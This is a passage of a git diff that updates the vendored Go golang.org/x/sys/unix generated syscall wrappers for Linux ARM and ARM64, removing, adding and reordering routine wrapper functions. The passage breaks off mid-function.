--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(int64(r1)<<32 | int64(r0))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,14 +24,8 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1488,8 +34,9 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,8 +45,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1697,6 +244,34 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -1717,8 +292,23 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID32, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1726,7 +316,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID32, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1734,7 +324,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID32, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1742,7 +332,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID32, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1800,6 +390,36 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Pause() (err error) {
-+ _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
- r0, _, e1 := Syscall6(SYS_SENDFILE64, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
- written = int(r0)
-@@ -1822,8 +442,9 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1832,8 +453,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1918,8 +540,8 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Gettimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1928,15 +550,13 @@ func Gettimeofday(tv *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1945,8 +565,23 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pause() (err error) {
-- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+func Gettimeofday(tv *Timeval) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2053,3 +688,28 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func armSyncFileRange(fd int, flags int, off int64, n int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_ARM_SYNC_FILE_RANGE, uintptr(fd), uintptr(flags), uintptr(off), uintptr(off>>32), uintptr(n), uintptr(n>>32))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go
-index 20ad4b6c..f0d2890b 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,arm64 syscall_linux.go syscall_linux_arm64.go
-+// go run mksyscall.go -tags linux,arm64 syscall_linux.go syscall_linux_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,arm64
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
